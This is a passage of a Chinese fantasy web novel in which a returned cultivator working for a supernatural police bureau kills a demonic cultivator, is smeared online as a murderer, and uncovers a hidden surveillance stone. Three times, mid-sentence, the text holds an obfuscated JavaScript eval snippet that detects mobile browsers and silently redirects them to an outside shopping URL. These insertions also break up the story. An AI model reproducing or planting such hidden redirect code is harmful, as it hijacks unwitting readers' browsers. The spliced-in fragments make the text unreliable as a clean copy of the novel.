“我说!” “是……为了召唤……” “召唤”二字一说出,他的脑袋便如盛放的花朵般,爆裂绽放,一瞬间红的白的撒了一地,再无生息。 “禁言咒?”这个终焉黑日有点来头,就连元婴期修士也要下禁咒封嘴。 随着男孩的死亡,他正在直播的手机也无力掉到血泊上,溅满鲜血的屏幕上,还有只剩寥寥无几的弹幕。 【这新人不如那男主播有艺术感,只会制造无意义的血块。】 【可是男主播的死法也很带劲啊,我就喜欢这种无论怎么挣扎,最终还是只能在绝望中等死的死法!】 【还聊!快退出直播啊,这女的不是主播,是‘猎魔人’!】 自这条弹幕出现后,整个直播间鸦雀无声。 猎魔人又是什么?黎钰无由来地想起了前世游戏里的猎魔人,难道是同一种设定? 待会回去问问步星澜好了。 黎钰本想发句“还有人在吗”,想了想,觉得用激将法炸鱼。 【还有弱智在吗?】 无人回应,正在观看人数:0,黎钰拿出手机打通步星澜的电话。 “魔修解决了,去解除防护结界吧。”大部分结界随主人的死去自动解除,为了防止意外,黎钰还是决定都检查一遍。 另一头,步星澜的嗓音夹在刺耳的风声中,“注意安全。” 挂掉电话,黎钰正准备给尸体布置防御结界,保护现场,一低头,却发现直播间的正在观看人数,变成了1。 【新世界必会降临。】 【未来将魔治天下。】 看着这传.销般的话术,黎钰微妙地笑了:“还真有弱智在看直播啊?” 听到她嘲讽的话语,观看人数又变回了0。 …… 黎钰刚解除别墅外围的攻击性结界,警方就来到现场,火速拉上警戒线。 “地下室我还没去,刚搞定那魔修的结界,你们就到了。”忙活了一晚上,黎钰魂都要没了。 步星澜正蹲在那男孩的无头尸体旁边,手上捻起一抹血浆,似在感知。 “元婴期修士?” “元婴期?”黎钰挠了挠头,“他修为比我高,我感知不到他的具体境界。” 居然是元婴期吗?她让他自绝经脉,他一下就死了,都还没打起来呢,黎钰都做好给别墅做拆迁的准备了。 步星澜回头,用幽邃的眼眸盯着她,一句话也没有说。 “主要死因是自绝经脉,还有魂魄中启动的禁咒……” “他的死因甚至能定性为自杀,如果你没踩断他手的话。”检查完魔修的尸体,步星澜叹气说道。 背后连中数十枪,但死因“自杀”是吗? “抱歉啊,局长,没留活口,”黎钰双手合十,满脸无辜,“刚准备撬开他的嘴,他就被禁咒爆头,死翘翘了。” 步星澜眉头一皱,批评道:“你确实做得不妥。” “面对魔修,你应当第一时间将其击毙,而非在刑讯上浪费时间。” 局长你怎么比我还极端?黎钰不说,但清澈的眼神正明晃晃地替她发问。 察觉到她迷惑的视线,步星澜解释:“魔修行事极端,我们一般都是先击毙目标,再拘走魂魄,对魂体进行问讯。” “这样会比较安全。” 此时,有懵懂的新人小跑过来,指着墙壁裂口上贴的纸张问道: “步局长,那些画着诡异符文的白纸是什么啊?” 那是黎钰贴的符纸,墙体在方才的战斗中开裂,为了防止坍塌或别的意外,黎钰特地在裂缝最多的墙壁上贴满符纸。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16993174|193821||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我看看,嗯,应该是某种硬化符咒……”他再次回头,深深看了黎钰一眼,那眼神分明在问——你怎么想到用这玩意来画符的? “哎,A4纸也能拿来画符?” “基础术式可以,更强大的术式需要更坚固、更有灵能耐性的媒介……”他耐心地解答新人警员的疑问。 “板砖可以吗?” 步星澜沉默了。 面对新人提出的富有建设性的疑问,步星澜是真没想过,在天界当战神时,从来没人会问他能不能把符画在板砖上。 没有这个操作经验,他只能干巴巴地回答:“我没尝试过,若你有兴趣,下次培训可以选修符文方向的课程。” “可以是可以的,只是不实用。”黎钰从挎包里拿出几张符,手指在上面弹了弹。 步星澜顿时一副见了鬼的表情。 “板砖本身就厚重,携带时还会掉落灰土,作为武器,近战除了坚硬外一无是处,远,远距离也不一定瞄得准,所以不建议用来刻符。”黎钰摇摇头,否决了新人的想法。 “原来如此!”新人恍然大悟,继续去自己的工作,将尸体搬运出去。 地下室的幸存者也在警员和医护人员的引导下,被送上救护车,送往医院治疗。 其中,一个年轻的少女转过身,目测年龄不超16,向黎钰用力挥手: “谢谢你,黎钰姐姐!” 随着一辆辆救护车消失在夜幕中,步星澜来到怔住的黎钰身边,轻轻说道: “你明天还有综艺要拍吧,回去休息吧。” 黎钰打开手机一看,竟然已经凌晨2点了,微信还多出一大堆未回复消息,后半夜,黎钰一直忙着布置结界与符文,和步星澜一起处理魔修留下的手尾,手机就跟失联一样,杳无音讯。 “魔修侵占的另一栋别墅,我们也派人去处理了,他本体已死,剩下便交给我们吧。”他拍拍黎钰的肩膀,眼底带着笑意。 大局已定,黎钰这才放下心来。 “局长,真理会是什么?终焉黑日又是……”黎钰犹疑着问道。 提到这两个名词,步星澜眼神一暗:“两大魔修组织,他们本部位于灵域,在地球兴起多起大型血色事件。” “灵域又是什么?” 步星澜郑重地,一字一顿地说道:“我让人把资料发给你,你自己看。” “好的,”黎钰乖巧地回答,“那我的证件……” 拿着到手的工作证,在保安大叔眼珠子都要掉出来的震惊目光中,黎钰顺利离开了别墅区。 专业人士就是好啊,黎钰感叹,毕竟催眠术法不好在现代使用,多用几次被人发现,指不定要被处罚。 下坡的美食街归于沉寂,乍看就像一条鬼街,还有残落的食物残渣掉在地上,黎钰打着哈欠,地铁已经关门,她准备打车回家。 吹着舒服的空调,黎钰忽然想起来那只三花猫的事。 沿江东路106号被结界封闭,别说人,飞鸟走兽无法靠近,那只三花猫是如何偷出断指的? …… 【19:30明天就要录制了,黎钰你打算穿什么?】 【20:12你在洗澡吗?】 【21:32网上的视频是怎么回事,黎钰你究竟去干什么了!】 【21:35《灵异秘闻》说要和你强行解约,你快出来解释一下啊,大家都以为你是杀人犯!】 【21:40你不会真是吧?】 【21:56你已经坐飞机去联邦了吗?】 在出租车上咪了一会,回到家,面对经纪人的连环追问,黎钰一头雾水。 什么杀人,她是整死个魔修没错,但公事公办也算杀人吗? 她疑惑地点开微博,超大字的头条映入眼帘。 【黎钰在暗网直播杀人】 黎钰:6 5. 摄像头? 她手机的录像还在呢,究竟谁在造谣她?黎钰下滑屏幕。 热搜第二则是【沿江东路别墅连环血案,真凶仍不知下落】 紧接着还有【顾望宁黎钰地下情】 这三个热搜连在一起,配合网友的想象力,自然而然就会猜测黎钰是不是凶手。 【本以为她只是蹭我担热度,没想到还是连环杀人犯!】 【糊咖都这么胡作非为,这都不去逮捕黎钰,我真的会对警方失望!】 【不仅是资源咖,还是草菅人命的富二代吗?那黎钰很有生活了。】 【老弱妇孺都不放过,都不抓她进去?】 【又是期待黎钰进局子的一天。】 自然也有声音为她反驳。 【可是视频全程都没有声音都没有,凭什么说黎钰是凶手,这种视频,我们专业的毕设都能做出来!只要后期加特效剪辑就行了。】 【这是剪辑的视频吧?只有最后才有黎钰的脸出现,前面都是第一人称。】 【警方都没出通告,各位不要乱污蔑人啊!】 顺着网友的网址,黎钰去看了原视频,确实是第一人称? 视频全程默片,不仅做了消音处理,还看不见拍摄者的样貌,“这也能说是我做的?” “等下,这是别墅的惨案录播……!”视频中,录像者以第一人称视角,将一个小孩活活肢解。即便为了过审,大部分片段打上了马赛克,黎钰也能看出情形有多惨不忍睹。 这个视角,百分百是那个魔修在暗区的录播!这些是前半段的视频。 后半段则是经过剪辑,直接将黎钰审问魔修的画面放进来,剪辑者运用蒙太奇的手法,成功将观众引导到【黎钰是连环杀人案凶手】上。 “上传者不会也是终焉黑日的魔修吧?”黎钰发自内心地觉得,这人当魔修真亏了,这剪辑手法,放娱乐公司月薪分分钟上万好不好。 黎钰翻出先前在拍摄的视频,看着经纪人焦急的消息,黎钰有些犹豫,是否该把原片给经纪人发一份。 为了稳妥,她打电话问步星澜,能不能找专人澄清…… “没问题,你把视频发我,我找人处理。但现在夜已深,明日上午放出澄清通告效果更好。” 他语气顿了顿:“抱歉,我没想到对方会使用这种下作手段污蔑你,是我处理不当。” “视频的发布者,我们已派专员去追查了,应该快出结果了,”说到这里,步星澜的语气温和了一些,“若你公司想借题发挥,对你不利,我们会找高级律师帮你和他们打官司。有对策局在,他们不可能从你手中骗走一分钱。” “现在,先好好休息吧。” 结束和步星澜的通讯,又是一通电话打来,这次是《灵异秘闻》的总导演。 黎钰有种不好的预感,但还是接通了。 “抱歉啊黎钰,你明天的节目可以不用来了。” “节目组决定和你单方面解约。” “因为网上的舆论吗?”黎钰默了片刻,问道。 “额,有这方面的原因……总之,你明天不用来了!”仿佛害怕黎钰讨价还价,通知完黎钰,总导演就火速挂断了电话。 假如说绯闻事件在圈内人眼里只是件稀松平常的小事,但若是牵扯进人命关天的杀人案中,不论是否真实,节目组为了避嫌,都会第一时间与艺人解约。 黎钰也不例外。 "我的通告费……"黎钰欲哭无泪,这是由艺人自身涉嫌违法引发的解约,黎钰不仅拿不到赔偿金,还要倒赔节目组十几万。 “狗屎魔修,我要把你们通通枪毙!” 钱拿不到,还有可能倒赔十几万,不知道击毙通缉令上的魔修能不能拿悬赏,如果可以,黎钰会像鬼一样缠着他们的,坚决不让他们好过。 她重重叹气,感觉步星澜的律师协助就要派上用场了。 在总导演之后,紧接着就轮到她的经纪人。 对方小心翼翼问道:“你现在……到国外下飞机了吗?” “首先,连环杀人案凶手不是我,凶手已经死了;其次,我要是真逃到联邦去,费姐你已经在我的黑名单里了!”黎钰撬开泡面,咬牙切齿地回答。 “不是你杀的就好,”经纪人明显松了口气,“不过凶手死了是怎么回事?” “我击毙的。” 对面陷入了沉默,随后便是一声叹气:“别开玩笑了。总之,你做好最坏的准备,被公司雪藏已经很好了,若舆论再恶化,恐怕会强制和你解约……就算那位董事长回来也没用。” 要是公司决定解约,黎钰就惨了。那可是上百万的违约金,费姐理解自己这位艺人,住出租屋吃泡面,她根本赔不起。 “别担心,如果你不是凶手,事态反转,最多就雪藏……” 讲到这里,费姐不死心地再次问道:“人真不是你杀的吧?” “只有凶手是我击毙的!”黎钰无语地吸了口泡面,修仙者不需要进食,但她还是习惯性地开碗泡面犒劳自己。 “行吧,那我先帮你找水军压下舆论……” “你好好休息。” 自她回到家,已经是凌晨一点了,经纪人还在工作。挂掉电话,黎钰真的觉得不好意思了。 虽然黎钰不在意网友的舆论,公司雪藏固然会对她造成影响,但并不会让她怎么样,她只需要重新找个游戏公司上班,当个素人就好……但解约真的会让她背负上几百万的债款,黎钰可以直接找个楼跳了。 随手施了个法术,做了简单的清洁,她坐在书桌前,沉默地拿出自己的笔记本,一页页翻开自己在修仙界的学习笔记。 在修仙界时,每次无法入眠,她就会拿出自己的笔记,和她的同行者探讨符箓之术,不知不觉枕着他的尾巴睡过去。 想到这里,她的眼神有些黯淡,那位同行者在天魔来袭时,死在了深海之中。 “又想起来修仙界的事,要不还是玩会《圣契》放松一下好了……”正好新出的剧情她还没打—— 就在她合上笔记,点开游戏的瞬间,门外响起了敲门声。 “凌晨一点半,谁来找我?”她又没点外卖。 要是放在过去,她高低拿把水果刀,兴致勃勃地走到门口蹲人。 现在……她还是兴奋地走到门口蹲人。 “刚上岸对策局,你可真是骚扰对人了,”对面要是真敢入室抢劫或杀人,黎钰高低得开心地将他打包送到警察局,免费的业绩不要白不要。 “黎钰,是我。”一道富有磁性的熟悉男声响起。 切,熟人啊。黎钰有些失望,白给的业绩瞬间就消失了。她用神识探知外围,见他没带其他人,这才放他进来。 “顾望宁,你怎么忽然来这里?”熟练地锁门,她把自己的电脑椅拖过来,自己则瘫在沙发上,“看什么看,沙发不会给你坐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16993175|193821||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的,你放弃吧。” 来者正是顾望宁,网上传得沸沸扬扬的绯闻对象。 青年仍然站在原地,没有回答她的问题,他四处扫视黎钰所住的出租屋,虽然是狭小的单人间,但墙壁被粉刷得雪白,黎钰甚至在旁边贴了可爱的粉色小熊墙纸。 他靠近黎钰,将手中的袋子放在桌面上,“外面快餐店还开着,你也饿了,要一起去吃吗?” 拜托,已经半夜一点半,况且哪有—— 下一秒,黎钰明白了他的意思。 “好吧,我正好也饿了。”黎钰做了个拉伸,拿上丢在床头的外套,跟顾望宁一起出去。 走之前,还不忘记关灯,电能省几度是几度。 两人穿过静默的走廊,除了闪烁的声控灯外,没有一丝光芒。顾望宁带她来到楼道间,见四下无人,迅速拿出手机打字。 【天花板上有微型摄像头,你被监视了】 黎钰的脑子顿时一片空白。 什么时候的事?她在修仙界回来的瞬间,就查探了整个出租屋,和她回来离开时一模一样,家具也没有移动的痕迹,要在天花板上装监控,必然会移动—— 难道她成为天选者前,摄像头就已经存在了? 【你怎么看出来的?】黎钰打字问他。 顾望宁面不改色地回答:【心灵感应。】 透视眼都比“心灵感应”靠谱,黎钰心底吐槽。看来得换个地方住了……什么时候才能搬到对策局的宿舍,黎钰真不想呆在这里了。 回去也不可能,半夜也没人,只有零零散散的便利店还开着。附近的快餐店早就关门了,顾望宁就是知道这一点,才用这个理由让她离开被监控的出租屋,告诉她情况。 【明白了,我回去拆掉它。明天去找房东理论。】 【嗯,那你小心。】 知道监控的事,黎钰送走顾望宁,便忧思沉沉地回到出租屋。 白色的隔离结界罩住天花板,一层一层抽丝剥茧般探查下来,终于在墙体的一块凸起的干涸油漆上找到了目标,它被白色地油漆包围,只露出一个黑色小点,就算睁大眼睛仔细看,也只会以为是一个普通的小点。 黎钰好奇地用手机摄像头拍它,却没有红光显示,但神识视角里,她清晰地“看”到那里存在一块截然不同的异物。 她掰开油漆碎片,露出里面的“摄像头”。 “开什么玩笑,修仙界的传影石?!” 摄像头,但修仙版。 难怪她当时检查了房间几十遍却什么都没发现,传统的反偷窥手段也毫无用处。 她捏了捏粘在上面的油漆粉末,油漆是在她入住前粉刷的,当时墙体发霉,黎钰只得让人来粉刷,时间大约在半年前。传影石要毫无破绽地嵌入油漆里,只有那时有机会。 还好她还留着那装修师傅的电话,明早打过去问问。 “怎么今天这么多灾多难……”她刚成为天选者,就发现自己变成了全网黑;后面成功获得编制,结果做个实习任务就被污蔑为杀人犯,之前签的综艺和她解约了,家里还被人装了摄像头! 手上的黑色传影石被强行关闭,被她放回了储物空间。 “说到底,为什么会盯上我……”那时候的黎钰只是一个平平无奇的十八线,普通人,甚至不知道自己穿进了书中,居然这么早就盯上她了? 她一个兢兢业业的普通老百姓,招谁惹谁了? 6. 坠楼事件 刚准备躺下,就发现桌面上有个大纸袋,貌似顾望宁忘记拿走了。 黎钰凑近,掀开纸袋,浓烈的炸鸡香味刺激着鼻腔,红色的盒子边还放着杯热奶茶。 她一边流口水,一边打字:“你一个顶流,天天吃炸鸡不妥吧?哪天被黑粉举报不做身材管理,我可不会去帮你洗地。” 【……给你的。】 免费赠送的夜宵,不要白不要,黎钰带上手套,直接大快朵颐起来。 【对不起,那天明明是你来酒店帮我,我却连累你网上被人造谣。】 【造谣的公众号我全都告进监狱了。】 【只是赔款还没下来……】 黎钰懂了,公众号们手拉手进局子了,但她的钱包仍然比脱水的咸鱼还要干瘪。 她吃着炸鸡,没有用明星的账号,而是上大号看微博。 出乎意料的是,在对策局发公告之前,热搜第五俨然是【顾望宁对所谓偷拍跟踪的澄清】 “请各位不要造谣黎钰了。我当时在酒店发烧,经纪人不在身边,正巧黎钰她住在附近,她是我的初中同学,是我拜托她帮忙送退烧药,是她赶来酒店救了我一命。” “作为她的朋友,我相信她不是杀人犯,在警方定性前,请各位谨言慎行。” 这公告,一看就不是经纪人写的。她下意识给顾望宁的置顶公告点赞。 然后才反应过来,黎钰吓了一跳,连忙抹了抹冷汗,“还好我用的是建模视频的大号……” 【真的是碰巧来酒店的吗?怎么感觉像是专门蹲点宁宁的?】 【你们看沿江东路的血案,说不定黎钰早就想对望宁下手,只是一直没找到机会罢了。】 【退烧药里真的没下药吗?】 【根据我多年娱乐圈吃瓜的经验,黎钰百分百是杀人犯!说不定明天就出蓝底白字的公告,然后某糊咖喜提无期徒刑。】 【楼上的几个人,能不能对黎钰宽容点,人家只是来帮忙的普通同学,你以为谁都看得上你担啊?】 【要我说,粉黑大战是没用的,最重要的还是警方的公告。】 黎钰给这条评论点了个赞。是的,明天步星澜不澄清,她就杀去对策局把他办公室拆了。 本想就这样入睡,黎钰还是决定给经纪人说一声,让她别忙了。 【明天会有人负责澄清,费姐你也休息吧。】 黎钰关掉WiFi,直接把手机丢在床头,一把拽过棉被,倒头就睡。 闭上眼,脑中浮现顾望宁的面容,黎钰敢肯定,他进来时只是粗略扫了一圈,然后视线却停在了天花板上。那块传影石只是个小黑点,就算拥有卓越视力,也无法一下子看出它的真面目。 “难道他的异能是透视?不,也有可能是复合异能……” 自相识到现在,顾望宁只在她面前展现过一次异能,高三的家长会后,顾望宁告诉黎钰她母亲明天会出事,让黎钰找借口把他们留在家。 当时黎钰半信半疑,还是照他的话做了——第二天上午,新闻报道了一起连环车祸,地点就在她母亲上班的必经之路。 “死亡预知和透视?还是说,他看见了这块传影石的‘死亡’?” 后者比较靠谱,但推测终究是推测。反正她已经成为了对策局的天选者,以后有的是时间调查。 …… 与此同时。 一只三花猫正灵巧地翻过别墅墙壁,熟练跳进二楼大开的窗户里,一位黑长发的少女坐在沙发上,悠闲地看着电视剧。看都没看它一眼,仿佛习以为常。 若黎钰在现场,百分百认出来,这只三花猫——它就是那只从沿江东路的惨案中,叼着尸体碎块出来的“流浪猫”。 “喵呜”,三花猫像只煤气罐一样,越过正在看电视剧的黑发少女,直直奔向猫粮碗,仿佛饿了一个星期般地把头埋进碗中,疯狂干饭。 这猫吃饭的“吧唧”声太大了,黑发少女不由得看了它一眼,视线停顿,“出去流浪一趟,怎么肥了?” 猫咪似乎听懂了她的话,一边干饭,一边骂骂咧咧地嗷嗷叫。 放在一旁的手机响起悦耳的歌声,她接通微信电话。 “如月,明天的《灵异秘闻》……你能去替黎钰的位置吗?” 黎钰?她为啥要去替她的位置? 仿佛听懂她沉默中的话外音,经纪人连忙说道:“那十八线糊咖涉嫌血腥犯罪直播,节目组不想惹火烧身,趁节目没拍和她单方面解约了。” 蒋如月没有问节目组给出的通告费,而是问:“这一期的《灵异秘闻》在哪拍?” “好像是东郊区的一座废校?”经纪人有些迟疑,“具体地点节目组没告诉我。” 黑发少女再次沉默了,“除我以外,还有谁?” 经纪人翻译了一下,大概是除了她本人以外,还有谁和她一个咖位吧? “《双生》的男主,顾望宁吧。” 凭借电影《双生》一炮而红,后面接的作品没一个演技翻车,如果没猜错,今年的最佳新人应该就是顾望宁了。 蒋如月的表情有些微妙。 “行,那我顶替黎钰过去。” …… 第二天上午,黎钰被吵醒了。被她的手机铃声叫醒的。 她朦朦胧胧地接下电话,瞬间被对面兴奋的叫声喊清醒了。 “黎钰,你看微博了吗?警方专门发通告替你澄清了!” “好……待会看……” 修仙者不需要睡眠,她只是被棉被绑架了,缩在被窝里把自己团成一个棉被怪物。 黎钰努力摆脱柔软的被窝,从床上坐起,现在是上午十点,黎钰拉开窗帘,阳光照射进屋子中,刺目的光线让黎钰的睡意瞬间消散。 既然对策局已经替她出面澄清,看微博笑话的事路上就能做,比起这些—— 更重要的是,将传影石送到对策局手上,调查背后的来历。 “咦,楼下怎么回事……?”隔音结界屏蔽了外界的干扰,黎钰听不见任何来自房外的噪音,但她清晰地望见楼下被围起的警戒线。 代表警笛的红蓝光闪烁着,警戒线内,干涸的血迹散射在地面上,呈发散状,警方正在不停驱散围观人群。 “不会又是杀人事件吧?” 一走出租屋,刺耳的警笛声便传入耳中,撕扯着她的耳膜,黎钰打开一楼的铁门,从巷子拐出去,就是案发现场。 黎钰脸上的表情僵住了,她忍不住驻足,多看了两眼。 “黎钰前辈!”一旁的警员向她招手。 她思考了一下,哦,是昨天那位问她“板砖可以用作符纸吗”的警察同事。 “我昨天才入职对策局,严格来说是你的晚辈,所以叫我名字就行。” “好的前辈,”他两眼放光地看着黎钰,“我听局长说,那作恶多端的元婴期魔修,被你打个响指就一招秒杀了,太强了!简直就像玄幻小说里的大能!” 她真服了,不去调查取证,在这里给她拍马屁……黎钰不信他有这么闲,“行了,别说些有的没的,你想问什么?” “前辈,昨天从别墅区回来后,您有没有发现楼里有不对劲的地方?” 不知不觉,他已经拿出准备好的纸笔,等待黎钰的回答。 “没有,我昨天一点半睡不着,还在走廊逛了一圈,没发现什么异常——”黎钰话音一顿,忽然想起昨夜顾望宁来过。 “怎么了,前辈有什么发现吗?”人命关天,黎钰还是将顾望宁半夜来看望她的事情说了出来。 “凌晨一点来看望您吗……”说实话,黎钰也觉得这有点可疑。但多年情谊,黎钰还是选择信任顾望宁。 更重要的原因,她不认为顾望宁能在天选者的眼皮底下杀人,而且他还是第一次来她的出租屋。 “你先告诉我,死者的死因是什么?” “坠楼身亡,”他想了想,继续说道,“死者是位17岁的男学生,死亡时间推测是凌晨3点到4点,从9楼的天台跳下。” “家属认为是学业压力过大,他承受不住……” 自杀身亡吗?那应该和顾望宁没什么关系——不对,她不能以现代人的视角看待案件。 在修仙界,即使是自杀,也可以有人为操纵的因素。催眠、夺舍、摄魂……99%的幻术都能用来针对人的精神进行攻击。 黎钰上下打量新人警员,他一看就是初出茅庐的清澈大学生。但就算是刚毕业的学生,他也是对策局的警员——这起看上去“稀松平常”的自杀事件,竟然由对策局负责办理。 答案呼之欲出,“又是魔修干的?” “可能性极高,”他看上去有些垂头丧气,“这已经是第四起自杀坠楼了……但还是没有眉目。”后面那句话他说得极小声。 “前辈昨晚真的什么都没感觉到吗?”他不死心地追问。 “我睡觉时布置了隔离结界。"什么都听不到。 “好吧……”他只能遗憾离开,“那前辈现在要去录综艺?” 黎钰没好气地回答:“录什么录,我都被节目组解约了。” “哎哎哎!”听到黎钰被解约,他的喉中发出不可思议的奇异叫声,“为啥啊!” 他的怪叫成功引起了同事的注意,一位资历较老的中年警员走过来,脸上带着火气,一把揪住他的肩膀,将他往外拖,“郑飞!你还敢这里闲聊?” “天台调查完了,就给我滚去查楼道!” 骂完那位叫郑飞的警员,他不好意思地挠挠头:“抱歉啊,黎顾问,这小子让您见笑了。” 黎顾问?这是在叫她,认真的吗? 见黎钰一脸惊愕,中年警员说道:“您可能还没看对策局的新公告,上面说您是我们对策局新来的特邀顾问。” 对于黎钰这个空降的“顾问”,他刚开始也是不服气的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16993176|193821||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看到昨天别墅区惨不忍睹的血案现场,他恨不得将那个魔修抓出来碎尸万段。 更令他心肌梗塞的是,步星澜说局里要“空降”一位特邀顾问,协助他们办案——他一看照片,那特邀顾问年龄还没他鞋码大,指不定高中都没毕业。 他差点撅过去了。 直到那凶手被黎钰当场击毙。 碰巧的是,黎钰在局里上传了她在探索时的完整视频,其中就包括和魔修对决的战斗视频。 “就该弄死那畜牲!”他顿时心情畅快,饭都多吃了几碗。 他发自内心地认可了黎钰这个“特邀顾问”。 “黎顾问,网上的言论你不用担心,对策局盯着呢!”击毙作恶的魔修可是大功一件,谁敢在网上给她造乱谣,第二天对策局就给他□□。 至于绯闻,老警员不爱冲浪,但看到黎钰那个“地下情”词条时,还是皱眉了。 “还有啊,黎顾问,您想谈恋爱就放心大胆地谈,背后有我们呢!别被网上言论挟持,多谈几个漂亮小伙,气死他们!加油,局里支持你!”老警员的眼里闪着热烈的光。 面对他热情的祝福,黎钰的笑容很是微妙。 有没有一种可能,她没谈恋爱。 …… 当天上午九点,周一,对策局在公告上发表了黎钰的澄清通告。 昨天骂过黎钰的人都有些心虚了。 【不是吧,黎钰居然是警方的人?!】 【也就是说,那个杀人犯动手袭警,结果被黎钰当场反杀了?】 【等等,那我昨天骂她,是不是算造谣……】 【这未成年畜牲好死,黎钰干得可真漂亮!】 网友纷纷倒戈,微博上的粉丝量疯狂增长,愣是多了十万,黎钰在地铁上懵逼地看着手机——她这辈子没见过这么多活粉。 要不是顾虑在地铁上,黎钰高低得笑出声,旁边闭着眼睛正在听歌的女生睁开双眸,淡淡地盯着她。 她貌似打扰到人家睡觉了,“不好意思啊……” 那位女生一头红色长发,还穿着洛丽塔,看上去像是一名coser。 女生仍然沉默,黎钰尴尬地低头看手机。 网上仍然有人质疑黎钰。 【我从来没听过警局有什么特邀顾问,黎钰家该不会黑白通吃,强行洗白吧?】 【暗网上的视频又不是p的,她真的杀人了啊,怎么还有人给她洗?】 【再怎么样,凶手只是个未成年的孩子,他应该去监狱接受改造,而不是死于非命!】 黎钰的眉头抽了抽,他们口中的“未成年”,恐怕实际年龄比他们祖孙三代加起来都大。 这种言论发出没多久,网友就气红温了,直接喷他。 【还未成年,那堆尸体里就没有孩子吗?警方通告上明明白白地写着,那里甚至还有数十个婴儿呢!这种逆天都能共情,你这辈子有了。】 【我觉得黎钰做得挺好的,谁知道凶手居然还在现场直播啊……虽然有点暴力,但要是她没反杀成功,死的人就是她了。我支持黎钰击毙凶手!】 【不过特邀顾问是怎么个事,她那时不应该忙着处理绯闻吗?怎么就去警局当特邀顾问了?】 【我有个朋友,昨天在零峰的大楼见到她,好像是去面试的……】 零峰那是新海市一个著名的游戏公司,主要项目都是仙侠mmo,还有换皮抽卡游戏——说它著名,是因为新海市没别的大型游戏公司了。 大公司都在安台那边,新海固然是东阳国的一线城市,但这和它的游戏业发展半毛钱关系没有,这里的游戏公司除了换皮抽卡手游,就是一刀999。 【不打算当艺人,直接开始面试新工作了吗?姐们就这么水灵灵地放弃做演员了。话说,她不会去警局面试,正好通过了吧?】 【别说,可能性挺大的。】 【只有我好奇,黎钰她为什么去面试游戏公司,她不是学播音的吗?】 她是数字媒体技术,不是播音!黎钰心下吐槽,还有,这种编制怎么可能面试就能面上,她可是在修仙界打拼了三年,成功阻止天魔出世,才被天道允许返回地球的好吗? 要是那时失败,她会被天道丢到下一个世界,重新做任务直到成功的啊! 但这事她真没法在网上说。 “唉,先去警局找步星澜,看看传影石的事吧……” “下一站是,科学中路。”终于快到了。 忽然,仿佛心灵感应一般,黎钰旁边疑似coser的洛丽塔女生转过身。 “你终于决定走入风暴之中了吗?” 这位coser真会开玩笑,这也是你角色扮演的一部分—— “注意真理会,小心顾家。” 下一秒,仿佛大梦初醒一般,黎钰睁大了双眼。 地铁的长椅上只有她一个人。根本不存在什么红发洛丽塔女生。 7. 已退圈,勿扰 宛若大梦初醒一般,她揉了揉眼睛,看着空荡荡的座位,黎钰压下心中的惊愕,环顾四周。 对面的确有一位洛丽塔女生,但对方留着一头亚麻色卷发,正百无聊赖地刷短视频。 而在她的旁边,一位红色长发的男性站在旁边,穿着黑色卫衣,带上耳机听歌,看着应该不是coser。 “真理会,顾家……刚才那人,究竟是?”黎钰记得她的样貌,可对方既然能在地铁上“借”其他乘客的元素,进行拼凑伪装,那她的外貌大概率是不可信的。 “科学中路已到站,请有需要的乘客下车。” 离开地铁站,天气阴沉,仿佛下一秒就要下出暴雨。黎钰走在街上,一脸忧思,时不时有路人侧目。没有灵力反应,不是魔修,至于是不是网上的黑子,黎钰没兴趣管。 她的脑中满是刚才的神秘少女。 “不是幻术,如果是法术,我一下就发现了。” 在车上,她切切实实感知到身边坐着一个人,对方身上没有一丝一毫的灵力,和普通人无异。 但在那女生消失的瞬间,她身边的人也跟着消失了。比起幻术,黎钰认为这更像是视觉上的欺骗——除了最后的瞬移。 高阶修士能一眼看穿对方的伪装,前提是对方用的幻术。假如只是普通的易容……越低级的手段,往往能取得更好的效果。 “难道那家伙坐我旁边,跟了我一整整路?!” 刚成为天选者,麻烦就接二连三地找上门来,黎钰很难绷得住。 …… 第二次来警察局,黎钰逐渐熟练起来,向前台小姐姐打了个招呼,做好登记,就径直跟着指引,前往步星澜的办公室。 “啊、不好意思!” 一个男生抱着电脑,急匆匆地冲出办公室,黎钰刚要躲开对方的冲撞…… 他自己先摔了。 黎钰帮他捡起笔记本电脑,看到她的脸,眼镜男生愣了一下,连忙点头,“非常感谢!” 目视他离去的背影,黎钰摸了摸自己的脸,她又不是绝世美女,盯着她干什么。 “在外面站着干什么,进来。” 扭开门,一间古色古香的书房映入眼帘。 木制地板上铺着华丽的地毯,顺着地板望去,古朴典雅的长桌上摆着笔墨纸砚,桌椅身后悬挂着几幅秀美的山水画,空气中还有淡淡的清香。 而在木桌后,白衣墨发的青年正提笔作画,甚至没抬眼看她,就像修仙界的神仙。 